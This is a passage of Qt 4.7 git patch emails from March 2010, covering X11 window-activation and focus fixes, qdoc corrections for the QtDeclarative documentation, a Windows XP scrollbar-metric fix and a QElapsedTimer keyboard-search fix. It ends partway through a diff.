(X11->isSupportedByWM(ATOM(_NET_ACTIVE_WINDOW))) { + XEvent e; + e.xclient.type = ClientMessage; + e.xclient.message_type = ATOM(_NET_ACTIVE_WINDOW); + e.xclient.display = X11->display; + e.xclient.window = tlw->internalWinId(); + e.xclient.format = 32; + e.xclient.data.l[0] = 1; // 1 == application + e.xclient.data.l[1] = X11->userTime; + if (QWidget *aw = QApplication::activeWindow()) + e.xclient.data.l[2] = aw->internalWinId(); + else + e.xclient.data.l[2] = XNone; + e.xclient.data.l[3] = 0; + e.xclient.data.l[4] = 0; + XSendEvent(X11->display, RootWindow(X11->display, tlw->x11Info().screen()), + false, SubstructureNotifyMask | SubstructureRedirectMask, &e); + } else { + XSetInputFocus(X11->display, tlw->internalWinId(), XRevertToParent, X11->time); + } } } -- cgit v0.12 From cb530c3336964914fcec26c6ea001122104353ba Mon Sep 17 00:00:00 2001 From: Denis Dzyubenko Date: Wed, 24 Mar 2010 11:27:11 +0100 Subject: Do not use _NET_ACTIVE_WINDOW for nonmanaged windows. If a window has X11BypassWindowManager hint, we shouldn't bother asking the windowmanager to active it using the _NET_ACTIVE_WINDOW protocol and just go though Xorg directly. Reviewed-by: Bradley T. Hughes --- src/gui/kernel/qwidget_x11.cpp | 3 ++- tests/auto/qshortcut/tst_qshortcut.cpp | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/src/gui/kernel/qwidget_x11.cpp b/src/gui/kernel/qwidget_x11.cpp index c1363d2..457e92c 100644 --- a/src/gui/kernel/qwidget_x11.cpp +++ b/src/gui/kernel/qwidget_x11.cpp @@ -1642,7 +1642,8 @@ void QWidget::activateWindow() X11->userTime = X11->time; qt_net_update_user_time(tlw, X11->userTime); - if (X11->isSupportedByWM(ATOM(_NET_ACTIVE_WINDOW))) { + if (X11->isSupportedByWM(ATOM(_NET_ACTIVE_WINDOW)) + && !(tlw->windowFlags() & Qt::X11BypassWindowManagerHint)) { XEvent e; e.xclient.type = ClientMessage; e.xclient.message_type = ATOM(_NET_ACTIVE_WINDOW); diff --git a/tests/auto/qshortcut/tst_qshortcut.cpp b/tests/auto/qshortcut/tst_qshortcut.cpp index 39518c5..6df4cc4 100644 --- a/tests/auto/qshortcut/tst_qshortcut.cpp +++ b/tests/auto/qshortcut/tst_qshortcut.cpp @@ -224,10 +224,10 @@ void tst_QShortcut::initTestCase() mainW->setFixedSize( 100, 100 ); mainW->setCentralWidget( edit ); mainW->show(); - mainW->activateWindow(); #ifdef Q_WS_X11 qt_x11_wait_for_window_manager(mainW); #endif + mainW->activateWindow(); QTest::qWait(100); connect( mainW->statusBar(), SIGNAL(messageChanged(const QString&)), this, SLOT(statusMessage(const QString&)) ); -- cgit v0.12 From 26b572903a800163972817cd717b5df454b96eb2 Mon Sep 17 00:00:00 2001 From: Denis Dzyubenko Date: Wed, 24 Mar 2010 11:36:40 +0100 Subject: Do not move keyboard focus to invisible windows on X11. When QWidget::activateWindow() is called we check if the window was already mapped and just do not do anything if it wasn't. We used to try to active it by giving it keyboard focus, but that always fails because it isn't allowed to call XSetInputFocus on invisible windows, and the error message was swalled by Qt in the error handler. So now we just don't bother even trying if we know the call will fail. Task-number: QTBUG-4042 Reviewed-by: Benjamin Poulain Reviewed-by: Bradley T. Hughes --- src/gui/kernel/qapplication_x11.cpp | 5 ----- src/gui/kernel/qwidget_x11.cpp | 3 ++- 2 files changed, 2 insertions(+), 6 deletions(-) diff --git a/src/gui/kernel/qapplication_x11.cpp b/src/gui/kernel/qapplication_x11.cpp index 67e0865..78fc704 100644 --- a/src/gui/kernel/qapplication_x11.cpp +++ b/src/gui/kernel/qapplication_x11.cpp @@ -669,11 +669,6 @@ static int qt_x_errhandler(Display *dpy, XErrorEvent *err) return 0; break; - case BadMatch: - if (err->request_code == 42 /* X_SetInputFocus */) - return 0; - break; - default: #if !defined(QT_NO_XINPUT) if (err->request_code == X11->xinput_major diff --git a/src/gui/kernel/qwidget_x11.cpp b/src/gui/kernel/qwidget_x11.cpp index 457e92c..37ac6bf 100644 --- a/src/gui/kernel/qwidget_x11.cpp +++ b/src/gui/kernel/qwidget_x11.cpp @@ -1661,7 +1661,8 @@ void QWidget::activateWindow() XSendEvent(X11->display, RootWindow(X11->display, tlw->x11Info().screen()), false, SubstructureNotifyMask | SubstructureRedirectMask, &e); } else { - XSetInputFocus(X11->display, tlw->internalWinId(), XRevertToParent, X11->time); + if (!qt_widget_private(tlw)->topData()->waitingForMapNotify) + XSetInputFocus(X11->display, tlw->internalWinId(), XRevertToParent, X11->time); } } } -- cgit v0.12 From 47efbddaa17b9c898eb406b8b39627f78b3c2ecf Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Wed, 24 Mar 2010 16:18:14 +0100 Subject: doc: Fixed all the remaining qdoc errors. For now. --- doc/src/declarative/extending.qdoc | 16 +- doc/src/declarative/integrating.qdoc | 4 +- doc/src/declarative/qtdeclarative.qdoc | 87 ++++---- doc/src/declarative/qtprogrammers.qdoc | 2 +- src/corelib/global/qnamespace.qdoc | 2 +- .../graphicsitems/qdeclarativeflipable.cpp | 2 +- src/declarative/qml/qdeclarativeengine.cpp | 248 +++++++++++---------- src/gui/graphicsview/qgraphicswidget.cpp | 6 + src/imports/multimedia/qdeclarativeaudio.cpp | 2 +- src/imports/multimedia/qdeclarativevideo.cpp | 2 +- 10 files changed, 196 insertions(+), 175 deletions(-) diff --git a/doc/src/declarative/extending.qdoc b/doc/src/declarative/extending.qdoc index 0ae4f7d..8c096da 100644 --- a/doc/src/declarative/extending.qdoc +++ b/doc/src/declarative/extending.qdoc @@ -177,7 +177,7 @@ The guest property declaration looks like this: \snippet examples/declarative/extending/properties/birthdayparty.h 2 -\l {Extending QML in C++ - Object and List Property Types Example} shows the complete +\l {Extending QML - Object and List Property Types Example} shows the complete code used to create the \c BirthdayParty type. \section1 Inheritance and Coercion @@ -224,7 +224,7 @@ QML will automatically coerce C++ types when assigning to either an object property, or to a list property. Only if coercion fails does an assignment error occur. -\l {Extending QML in C++ - Inheritance and Coercion Example} shows the complete +\l {Extending QML - Inheritance and Coercion Example} shows the complete code used to create the \c Boy and \c Girl types. \section1 Default Property @@ -256,7 +256,7 @@ refer to a property declared in the class itself, or a property inherited from a base class. \endquotation -\l {Extending QML in C++ - Default Property Example} shows the complete code used to +\l {Extending QML - Default Property Example} shows the complete code used to specify a default property. \section1 Grouped Properties @@ -281,7 +281,7 @@ property block - in this case the size, color, brand and price properties. Grouped property blocks may declared and accessed be recusively. -\l {Extending QML in C++ - Grouped Properties Example} shows the complete code used to +\l {Extending QML - Grouped Properties Example} shows the complete code used to implement the \c shoe property grouping. \section1 Attached Properties @@ -373,7 +373,7 @@ creating it if it does not already exist. If \a create is false, the attachment object will only be returned if it has previously been created. \endquotation -\l {Extending QML in C++ - Attached Properties Example} shows the complete code used to +\l {Extending QML - Attached Properties Example} shows the complete code used to implement the rsvp attached property. \section1 Memory Management and QVariant types @@ -435,7 +435,7 @@ listed in \l {Adding Types}, as well registered object types are permitted as signal parameter types. Using other types is not an error, but the parameter value will not be accessible from script. -\l {Extending QML in C++ - Signal Support Example} shows the complete code used to +\l {Extending QML - Signal Support Example} shows the complete code used to implement the onPartyStarted signal property. \section1 Property Value Sources @@ -482,7 +482,7 @@ to assign it normally, as though it were a regular QML type. Only if this assignment fails does the engine call the setTarget() method. This allows the type to also be used in contexts other than just as a value source. -\l {Extending QML in C++ - Property Value Source Example} shows the complete code used +\l {Extending QML - Property Value Source Example} shows the complete code used implement the HappyBirthday property value source. \section1 Property Binding @@ -554,7 +554,7 @@ The CONSTANT attribute should only be used for properties whose value is set, and finalized, only in the class constructor. All other properties that want to be used in bindings should have a NOTIFY signal instead. -\l {Extending QML in C++ - Binding Example} shows the BirthdayParty example updated to +\l {Extending QML - Binding Example} shows the BirthdayParty example updated to include NOTIFY signals for use in binding. \section1 Extension Objects diff --git a/doc/src/declarative/integrating.qdoc b/doc/src/declarative/integrating.qdoc index c685d3d..165a735 100644 --- a/doc/src/declarative/integrating.qdoc +++ b/doc/src/declarative/integrating.qdoc @@ -103,13 +103,13 @@ and that this approach allows you to integrate new items written in QML without using the above method. You can make custom C++ types -available in QML using the pair of macros listed in \l{Extending QML}. +available in QML using the pair of macros listed in \l{Extending QML in C++}. While this is normally only useful for types that were designed for QML use, in conjunction with the \l{GraphicsObjectContainer} element QGraphicsWidget subclasses can also be used effectively (if they were designed, like QGraphicsWidget, to be controllable through Qt's property system). This way you can write your UI using QML, without having to rewrite your existing items. -For details on implementing this approach see \l{Extending QML} page for details on exposing your C++ types, +For details on implementing this approach see \l{Extending QML in C++} page for details on exposing your C++ types, and the \l{GraphicsObjectContainer} documentation for details about using it to wrap QGraphicsWidgets. */ diff --git a/doc/src/declarative/qtdeclarative.qdoc b/doc/src/declarative/qtdeclarative.qdoc index b43d0ec..8013b92 100644 --- a/doc/src/declarative/qtdeclarative.qdoc +++ b/doc/src/declarative/qtdeclarative.qdoc @@ -40,76 +40,75 @@ ****************************************************************************/ /*! -\module QtDeclarative -\title QtDeclarative Module -\ingroup modules + \module QtDeclarative + \title QtDeclarative Module + \ingroup modules -\brief The Qt Declarative module provides a declarative framework for building -highly dynamic, custom user interfaces. + \brief The Qt Declarative module provides a declarative framework + for building highly dynamic, custom user interfaces. -To include the definitions of the module's classes, use the -following directive: + To include the definitions of the module's classes, use the + following directive: -\code -#include -\endcode + \code + #include + \endcode -To link against the module, add this line to your \l qmake \c -.pro file: + To link against the module, add this line to your \l qmake \c + .pro file: -\code -QT += declarative -\endcode - -For more information on the Qt Declarative module, see the -\l{declarativeui.html}{Declarative UI} documentation. + \code + QT += declarative + \endcode + For more information on the Qt Declarative module, see the + \l{declarativeui.html}{Declarative UI} documentation. */ /*! - \macro QML_DECLARE_TYPE(T) - \relates QDeclarativeEngine - - yada yada yada - + \macro QML_DECLARE_TYPE() + \relates QDeclarativeEngine */ /*! - \fn int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName) - \relates QDeclarativeEngine + \fn int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName) + \relates QDeclarativeEngine - This template function registers the C++ type \a T with the QML system, and make it available in - QML under the name \a qmlName in the import library \a uri version \a versionMajor.versionMajor. + This template function registers the C++ type in the QML system with + the name \a qmlName. in the library imported from \a uri having the + version number composed from \a versionMajor and \a versionMinor. - Returns the QML type id. + Returns the QML type id. - Example: Register the C++ class \c MinehuntGame as QML type \c Game version 0.1 in the import - library \c MinehuntCore: + Example: Register the C++ class \c MinehuntGame as the QML type + named \c Game for version 0.1 in the import library \c MinehuntCore: - \code - qmlRegisterType("MinehuntCore", 0, 1, "Game"); - \endcode + \code + qmlRegisterType("MinehuntCore", 0, 1, "Game"); + \endcode */ /*! - \fn int qmlRegisterType() - \relates QDeclarativeEngine - \overload + \fn int qmlRegisterType() + \relates QDeclarativeEngine + \overload - This template function registers the C++ type \a T with the QML system. Instances of this type cannot - be created from the QML system. + This template function registers the C++ type in the QML + system. Instances of this type cannot be created from the QML + system. - Returns the QML type id. + Returns the QML type id. */ -/*! \fn int qmlRegisterInterface(const char *typeName) - \relates QDeclarativeEngine +/*! + \fn int qmlRegisterInterface(const char *typeName) + \relates QDeclarativeEngine - This template function registers the C++ type \a T as interface with the QML system, under the name - \a typeName. + This template function registers the C++ type in the QML system + under the name \a typeName. - Returns the QML type id. + Returns the QML type id. */ diff --git a/doc/src/declarative/qtprogrammers.qdoc b/doc/src/declarative/qtprogrammers.qdoc index ca1d596..05ffeb0 100644 --- a/doc/src/declarative/qtprogrammers.qdoc +++ b/doc/src/declarative/qtprogrammers.qdoc @@ -65,7 +65,7 @@ QML provides direct access to the following concepts from Qt: \o Qt models - used directly in data binding (QAbstractItemModel and next generation QListModelInterface) \endlist -Qt knowledge is \e required for \l {Extending QML}, and also for \l{Integrating QML with existing Qt UI code}. +Qt knowledge is \e required for \l {Extending QML in C++}, and also for \l{Integrating QML with existing Qt UI code}. \section1 QML Items compared with QWidgets diff --git a/src/corelib/global/qnamespace.qdoc b/src/corelib/global/qnamespace.qdoc index 775c0f3..b1108cb 100644 --- a/src/corelib/global/qnamespace.qdoc +++ b/src/corelib/global/qnamespace.qdoc @@ -1255,7 +1255,7 @@ window boundary (widget without parent or dialog) is found. This attribute currently has effect only on Symbian platforms - \value WA_X11DoNoAcceptFocus Asks the window manager to not give focus + \value WA_X11DoNotAcceptFocus Asks the window manager to not give focus to this top level window. This attribute has no effect on non-X11 platforms. diff --git a/src/declarative/graphicsitems/qdeclarativeflipable.cpp b/src/declarative/graphicsitems/qdeclarativeflipable.cpp index 1ebbaee..d19e5a5 100644 --- a/src/declarative/graphicsitems/qdeclarativeflipable.cpp +++ b/src/declarative/graphicsitems/qdeclarativeflipable.cpp @@ -74,7 +74,7 @@ public: Here is a Flipable that flips whenever it is clicked: - \snippet examples/declarative/flipable/flipable.qml 0 + \snippet examples/declarative/flipable/flipable-example.qml 0 \image flipable.gif diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index 800434a..1a40857 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -116,16 +116,16 @@ QT_BEGIN_NAMESPACE DEFINE_BOOL_CONFIG_OPTION(qmlImportTrace, QML_IMPORT_TRACE) /*! - \qmlclass QtObject QObject + \qmlclass QtObject QObject \since 4.7 - \brief The QtObject element is the most basic element in QML + \brief The QtObject element is the most basic element in QML - The QtObject element is a non-visual element which contains only - the objectName property. It is useful for when you need an extremely - lightweight element to place your own custom properties in. + The QtObject element is a non-visual element which contains only the + objectName property. It is useful for when you need an extremely + lightweight element to place your own custom properties in. - It can also be useful for C++ integration, as it is just a plain QObject. See - the QObject documentation for further details. + It can also be useful for C++ integration, as it is just a plain + QObject. See the QObject documentation for further details. */ /*! \qmlproperty string QtObject::objectName @@ -374,37 +374,38 @@ QDeclarativeWorkerScriptEngine *QDeclarativeEnginePrivate::getWorkerScriptEngine } /*! - \class QDeclarativeEngine + \class QDeclarativeEngine \since 4.7 - \brief The QDeclarativeEngine class provides an environment for instantiating QML components. - \mainclass - - Each QML component is instantiated in a QDeclarativeContext. QDeclarativeContext's are - essential for passing data to QML components. In QML, contexts are arranged - hierarchically and this hierarchy is managed by the QDeclarativeEngine. - - Prior to creating any QML components, an application must have created a - QDeclarativeEngine to gain access to a QML context. The following example shows how - to create a simple Text item. - - \code - QDeclarativeEngine engine; - QDeclarativeComponent component(&engine); - component.setData("import Qt 4.6\nText { text: \"Hello world!\" }", QUrl()); - QDeclarativeItem *item = qobject_cast(component.create()); - - //add item to view, etc - ... - \endcode - - In this case, the Text item will be created in the engine's - \l {QDeclarativeEngine::rootContext()}{root context}. - - \sa QDeclarativeComponent QDeclarativeContext + \brief The QDeclarativeEngine class provides an environment for instantiating QML components. + \mainclass + + Each QML component is instantiated in a QDeclarativeContext. + QDeclarativeContext's are essential for passing data to QML + components. In QML, contexts are arranged hierarchically and this + hierarchy is managed by the QDeclarativeEngine. + + Prior to creating any QML components, an application must have + created a QDeclarativeEngine to gain access to a QML context. The + following example shows how to create a simple Text item. + + \code + QDeclarativeEngine engine; + QDeclarativeComponent component(&engine); + component.setData("import Qt 4.6\nText { text: \"Hello world!\" }", QUrl()); + QDeclarativeItem *item = qobject_cast(component.create()); + + //add item to view, etc + ... + \endcode + + In this case, the Text item will be created in the engine's + \l {QDeclarativeEngine::rootContext()}{root context}. + + \sa QDeclarativeComponent QDeclarativeContext */ /*! - Create a new QDeclarativeEngine with the given \a parent. + Create a new QDeclarativeEngine with the given \a parent. */ QDeclarativeEngine::QDeclarativeEngine(QObject *parent) : QObject(*new QDeclarativeEnginePrivate(this), parent) @@ -414,10 +415,11 @@ QDeclarativeEngine::QDeclarativeEngine(QObject *parent) } /*! - Destroys the QDeclarativeEngine. + Destroys the QDeclarativeEngine. - Any QDeclarativeContext's created on this engine will be invalidated, but not - destroyed (unless they are parented to the QDeclarativeEngine object). + Any QDeclarativeContext's created on this engine will be + invalidated, but not destroyed (unless they are parented to the + QDeclarativeEngine object). */ QDeclarativeEngine::~QDeclarativeEngine() { @@ -433,8 +435,9 @@ QDeclarativeEngine::~QDeclarativeEngine() /*! Clears the engine's internal component cache. - Normally the QDeclarativeEngine caches components loaded from qml files. This method - clears this cache and forces the component to be reloaded. + Normally the QDeclarativeEngine caches components loaded from qml + files. This method clears this cache and forces the component to be + reloaded. */ void QDeclarativeEngine::clearComponentCache() { @@ -443,14 +446,15 @@ void QDeclarativeEngine::clearComponentCache() } /*! - Returns the engine's root context. + Returns the engine's root context. - The root context is automatically created by the QDeclarativeEngine. Data that - should be available to all QML component instances instantiated by the - engine should be put in the root context. + The root context is automatically created by the QDeclarativeEngine. + Data that should be available to all QML component instances + instantiated by the engine should be put in the root context. - Additional data that should only be available to a subset of component - instances should be added to sub-contexts parented to the root context. + Additional data that should only be available to a subset of + component instances should be added to sub-contexts parented to the + root context. */ QDeclarativeContext *QDeclarativeEngine::rootContext() { @@ -459,14 +463,14 @@ QDeclarativeContext *QDeclarativeEngine::rootContext() } /*! - Sets the \a factory to use for creating QNetworkAccessManager(s). + Sets the \a factory to use for creating QNetworkAccessManager(s). - QNetworkAccessManager is used for all network access by QML. - By implementing a factory it is possible to create custom - QNetworkAccessManager with specialized caching, proxy and - cookie support. + QNetworkAccessManager is used for all network access by QML. By + implementing a factory it is possible to create custom + QNetworkAccessManager with specialized caching, proxy and cookie + support. - The factory must be set before exceuting the engine. + The factory must be set before exceuting the engine. */ void QDeclarativeEngine::setNetworkAccessManagerFactory(QDeclarativeNetworkAccessManagerFactory *factory) { @@ -476,9 +480,9 @@ void QDeclarativeEngine::setNetworkAccessManagerFactory(QDeclarativeNetworkAcces } /*! - Returns the current QDeclarativeNetworkAccessManagerFactory. + Returns the current QDeclarativeNetworkAccessManagerFactory. - \sa setNetworkAccessManagerFactory() + \sa setNetworkAccessManagerFactory() */ QDeclarativeNetworkAccessManagerFactory *QDeclarativeEngine::networkAccessManagerFactory() const { @@ -508,15 +512,16 @@ QNetworkAccessManager *QDeclarativeEnginePrivate::getNetworkAccessManager() cons } /*! - Returns a common QNetworkAccessManager which can be used by any QML element - instantiated by this engine. + Returns a common QNetworkAccessManager which can be used by any QML + element instantiated by this engine. - If a QDeclarativeNetworkAccessManagerFactory has been set and a QNetworkAccessManager - has not yet been created, the QDeclarativeNetworkAccessManagerFactory will be used - to create the QNetworkAccessManager; otherwise the returned QNetworkAccessManager - will have no proxy or cache set. + If a QDeclarativeNetworkAccessManagerFactory has been set and a + QNetworkAccessManager has not yet been created, the + QDeclarativeNetworkAccessManagerFactory will be used to create the + QNetworkAccessManager; otherwise the returned QNetworkAccessManager + will have no proxy or cache set. - \sa setNetworkAccessManagerFactory() + \sa setNetworkAccessManagerFactory() */ QNetworkAccessManager *QDeclarativeEngine::networkAccessManager() const { @@ -525,26 +530,27 @@ QNetworkAccessManager *QDeclarativeEngine::networkAccessManager() const } /*! - Sets the \a provider to use for images requested via the \e image: url - scheme, with host \a providerId. - QDeclarativeImageProvider allows images to be provided to QML asynchronously. - The image request will be run in a low priority thread. This allows - potentially costly image loading to be done in the background, without - affecting the performance of the UI. + Sets the \a provider to use for images requested via the \e + image: url scheme, with host \a providerId. + + QDeclarativeImageProvider allows images to be provided to QML + asynchronously. The image request will be run in a low priority + thread. This allows potentially costly image loading to be done in + the background, without affecting the performance of the UI. - Note that images loaded from a QDeclarativeImageProvider are cached by - QPixmapCache, similar to any image loaded by QML. + Note that images loaded from a QDeclarativeImageProvider are cached + by QPixmapCache, similar to any image loaded by QML. - The QDeclarativeEngine assumes ownership of the provider. + The QDeclarativeEngine assumes ownership of the provider. - This example creates a provider with id \e colors: + This example creates a provider with id \e colors: - \snippet examples/declarative/imageprovider/imageprovider.cpp 0 + \snippet examples/declarative/imageprovider/imageprovider.cpp 0 - \snippet examples/declarative/imageprovider/imageprovider.qml 0 + \snippet examples/declarative/imageprovider/imageprovider-example.qml 0 - \sa removeImageProvider() + \sa removeImageProvider() */ void QDeclarativeEngine::addImageProvider(const QString &providerId, QDeclarativeImageProvider *provider) { @@ -554,7 +560,7 @@ void QDeclarativeEngine::addImageProvider(const QString &providerId, QDeclarativ } /*! - Returns the QDeclarativeImageProvider set for \a providerId. + Returns the QDeclarativeImageProvider set for \a providerId. */ QDeclarativeImageProvider *QDeclarativeEngine::imageProvider(const QString &providerId) const { @@ -564,11 +570,11 @@ QDeclarativeImageProvider *QDeclarativeEngine::imageProvider(const QString &prov } /*! - Removes the QDeclarativeImageProvider for \a providerId. + Removes the QDeclarativeImageProvider for \a providerId. - Returns the provider if it was found; otherwise returns 0. + Returns the provider if it was found; otherwise returns 0. - \sa addImageProvider() + \sa addImageProvider() */ void QDeclarativeEngine::removeImageProvider(const QString &providerId) { @@ -588,13 +594,14 @@ QImage QDeclarativeEnginePrivate::getImageFromProvider(const QUrl &url) } /*! - Return the base URL for this engine. The base URL is only used to resolve - components when a relative URL is passed to the QDeclarativeComponent constructor. + Return the base URL for this engine. The base URL is only used to + resolve components when a relative URL is passed to the + QDeclarativeComponent constructor. - If a base URL has not been explicitly set, this method returns the - application's current working directory. + If a base URL has not been explicitly set, this method returns the + application's current working directory. - \sa setBaseUrl() + \sa setBaseUrl() */ QUrl QDeclarativeEngine::baseUrl() const { @@ -607,9 +614,9 @@ QUrl QDeclarativeEngine::baseUrl() const } /*! - Set the base URL for this engine to \a url. + Set the base URL for this engine to \a url. - \sa baseUrl() + \sa baseUrl() */ void QDeclarativeEngine::setBaseUrl(const QUrl &url) { @@ -618,9 +625,11 @@ void QDeclarativeEngine::setBaseUrl(const QUrl &url) } /*! - Returns the QDeclarativeContext for the \a object, or 0 if no context has been set. + Returns the QDeclarativeContext for the \a object, or 0 if no + context has been set. - When the QDeclarativeEngine instantiates a QObject, the context is set automatically. + When the QDeclarativeEngine instantiates a QObject, the context is + set automatically. */ QDeclarativeContext *QDeclarativeEngine::contextForObject(const QObject *object) { @@ -645,7 +654,8 @@ QDeclarativeContext *QDeclarativeEngine::contextForObject(const QObject *object) If the \a object already has a context, a warning is output, but the context is not changed. - When the QDeclarativeEngine instantiates a QObject, the context is set automatically. + When the QDeclarativeEngine instantiates a QObject, the context is + set automatically. */ void QDeclarativeEngine::setContextForObject(QObject *object, QDeclarativeContext *context) { @@ -663,37 +673,43 @@ void QDeclarativeEngine::setContextForObject(QObject *object, QDeclarativeContex } /*! -\enum QDeclarativeEngine::ObjectOwnership - -Ownership controls whether or not QML automatically destroys the QObject when the object -is garbage collected by the JavaScript engine. The two ownership options are: - -\list -\o CppOwnership - The object is owned by C++ code, and will never be deleted by QML. The -JavaScript destroy() method cannot be used on objects with CppOwnership. This option -is similar to QScriptEngine::QtOwnership. - -\o JavaScriptOwnership - The object is owned by JavaScript. When the object is returned to QML -as the return value of a method call or property access, QML will delete the object if there -are no remaining JavaScript references to it and it has no QObject::parent(). This option -is similar to QScriptEngine::ScriptOwnership. -\endlist - -Generally an application doesn't need to set an object's ownership explicitly. QML uses -a heuristic to set the default object ownership. By default, an object that is created by -QML has JavaScriptOwnership. The exception to this are the root objects created by calling -QDeclarativeCompnent::create() or QDeclarativeComponent::beginCreate() which have -CppOwnership by default. The ownership of these root-level objects is considered to have -been transfered to the C++ caller. - -Objects not-created by QML have CppOwnership by default. The exception to this is objects -returned from a C++ method call. The ownership of these objects is passed to JavaScript. - -Calling setObjectOwnership() overrides the default ownership heuristic used by QML. + \enum QDeclarativeEngine::ObjectOwnership + + Ownership controls whether or not QML automatically destroys the + QObject when the object is garbage collected by the JavaScript + engine. The two ownership options are: + + \value CppOwnership The object is owned by C++ code, and will + never be deleted by QML. The JavaScript destroy() method cannot be + used on objects with CppOwnership. This option is similar to + QScriptEngine::QtOwnership. + + \value JavaScriptOwnership The object is owned by JavaScript. + When the object is returned to QML as the return value of a method + call or property access, QML will delete the object if there are no + remaining JavaScript references to it and it has no + QObject::parent(). This option is similar to + QScriptEngine::ScriptOwnership. + + Generally an application doesn't need to set an object's ownership + explicitly. QML uses a heuristic to set the default object + ownership. By default, an object that is created by QML has + JavaScriptOwnership. The exception to this are the root objects + created by calling QDeclarativeCompnent::create() or + QDeclarativeComponent::beginCreate() which have CppOwnership by + default. The ownership of these root-level objects is considered to + have been transfered to the C++ caller. + + Objects not-created by QML have CppOwnership by default. The + exception to this is objects returned from a C++ method call. The + ownership of these objects is passed to JavaScript. + + Calling setObjectOwnership() overrides the default ownership + heuristic used by QML. */ /*! -Sets the \a ownership of \a object. + Sets the \a ownership of \a object. */ void QDeclarativeEngine::setObjectOwnership(QObject *object, ObjectOwnership ownership) { @@ -706,7 +722,7 @@ void QDeclarativeEngine::setObjectOwnership(QObject *object, ObjectOwnership own } /*! -Returns the ownership of \a object. + Returns the ownership of \a object. */ QDeclarativeEngine::ObjectOwnership QDeclarativeEngine::objectOwnership(QObject *object) { diff --git a/src/gui/graphicsview/qgraphicswidget.cpp b/src/gui/graphicsview/qgraphicswidget.cpp index 669dd61..a257e0d 100644 --- a/src/gui/graphicsview/qgraphicswidget.cpp +++ b/src/gui/graphicsview/qgraphicswidget.cpp @@ -396,6 +396,12 @@ void QGraphicsWidget::setGeometry(const QRectF &rect) } /*! + \fn QGraphicsWidget::geometryChanged() + + This signal gets emitted whenever the geometry is changed in setGeometry(). +*/ + +/*! \fn QRectF QGraphicsWidget::rect() const Returns the item's local rect as a QRectF. This function is equivalent diff --git a/src/imports/multimedia/qdeclarativeaudio.cpp b/src/imports/multimedia/qdeclarativeaudio.cpp index dfe125f..077ed9a 100644 --- a/src/imports/multimedia/qdeclarativeaudio.cpp +++ b/src/imports/multimedia/qdeclarativeaudio.cpp @@ -142,7 +142,7 @@ void QDeclarativeAudio::stop() */ /*! - \qmlproperty url Audio:autoLoad + \qmlproperty url Audio::autoLoad This property indicates if loading of media should begin immediately. diff --git a/src/imports/multimedia/qdeclarativevideo.cpp b/src/imports/multimedia/qdeclarativevideo.cpp index 6aff9bd..c878fe1 100644 --- a/src/imports/multimedia/qdeclarativevideo.cpp +++ b/src/imports/multimedia/qdeclarativevideo.cpp @@ -116,7 +116,7 @@ QDeclarativeVideo::~QDeclarativeVideo() */ /*! - \qmlproperty url Audio:autoLoad + \qmlproperty url Video::autoLoad This property indicates if loading of media should begin immediately. -- cgit v0.12 From 01140c6c47ab073ffd35f4534f2222dd38f29127 Mon Sep 17 00:00:00 2001 From: Prasanth Ullattil Date: Wed, 24 Mar 2010 16:15:07 +0100 Subject: Wrong value for PM_ScrollBarExtent on Windows XP. The NONCLIENTMETRICSW::iPaddedBorderWidth member is supported only on Windows Vista and above. So when calling the SystemParametersInfo for SPI_GETNONCLIENTMETRICS on Windows XP, the size for that member needs to be removed from NONCLIENTMETRICSW::cbSize. Task-number: QTBUG-8639 Reviewed-by: Thierry --- src/gui/styles/qwindowsstyle.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/gui/styles/qwindowsstyle.cpp b/src/gui/styles/qwindowsstyle.cpp index 6c48590..60c06ca 100644 --- a/src/gui/styles/qwindowsstyle.cpp +++ b/src/gui/styles/qwindowsstyle.cpp @@ -497,7 +497,7 @@ int QWindowsStyle::pixelMetric(PixelMetric pm, const QStyleOption *opt, const QW { #ifndef Q_OS_WINCE NONCLIENTMETRICS ncm; - ncm.cbSize = sizeof(NONCLIENTMETRICS); + ncm.cbSize = FIELD_OFFSET(NONCLIENTMETRICS, lfMessageFont) + sizeof(LOGFONT); if (SystemParametersInfo(SPI_GETNONCLIENTMETRICS, sizeof(NONCLIENTMETRICS), &ncm, 0)) ret = qMax(ncm.iScrollHeight, ncm.iScrollWidth); else -- cgit v0.12 From d44a204988320c7c1a990536565fcb655d34db1e Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Wed, 24 Mar 2010 19:03:37 +0100 Subject: Fix qcombobox:flaggedItems autotest failure. QElapsedTimer doesn't initialise itself on construction, which means we were actually depending on uninitialised data. QTime does initialise itself to NullTime. This means the test didn't actually work if you ran it precisely at midnight... Reviewed-By: Trust Me --- src/gui/itemviews/qabstractitemview.cpp | 10 +++++----- src/gui/itemviews/qtreeview.cpp | 11 +++++------ 2 files changed, 10 insertions(+), 11 deletions(-) diff --git a/src/gui/itemviews/qabstractitemview.cpp b/src/gui/itemviews/qabstractitemview.cpp index 32d7bca..97fd6e1 100644 --- a/src/gui/itemviews/qabstractitemview.cpp +++ b/src/gui/itemviews/qabstractitemview.cpp @@ -107,6 +107,7 @@ QAbstractItemViewPrivate::QAbstractItemViewPrivate() delayedPendingLayout(true), moveCursorUpdatedView(false) { + keyboardInputTime.invalidate(); } QAbstractItemViewPrivate::~QAbstractItemViewPrivate() @@ -2842,17 +2843,16 @@ void QAbstractItemView::keyboardSearch(const QString &search) QModelIndex start = currentIndex().isValid() ? currentIndex() : d->model->index(0, 0, d->root); - QElapsedTimer now; - now.start(); bool skipRow = false; - if (search.isEmpty() - || (d->keyboardInputTime.msecsTo(now) > QApplication::keyboardInputInterval())) { + bool keyboardTimeWasValid = d->keyboardInputTime.isValid(); + qint64 keyboardInputTimeElapsed = d->keyboardInputTime.restart(); + if (search.isEmpty() || !keyboardTimeWasValid + || keyboardInputTimeElapsed > QApplication::keyboardInputInterval()) { d->keyboardInput = search; skipRow = currentIndex().isValid(); //if it is not valid we should really start at QModelIndex(0,0) } else { d->keyboardInput += search; } - d->keyboardInputTime = now; // special case for searches with same key like 'aaaaa' bool sameKey = false; diff --git a/src/gui/itemviews/qtreeview.cpp b/src/gui/itemviews/qtreeview.cpp index 063f3f4..d934683 100644 --- 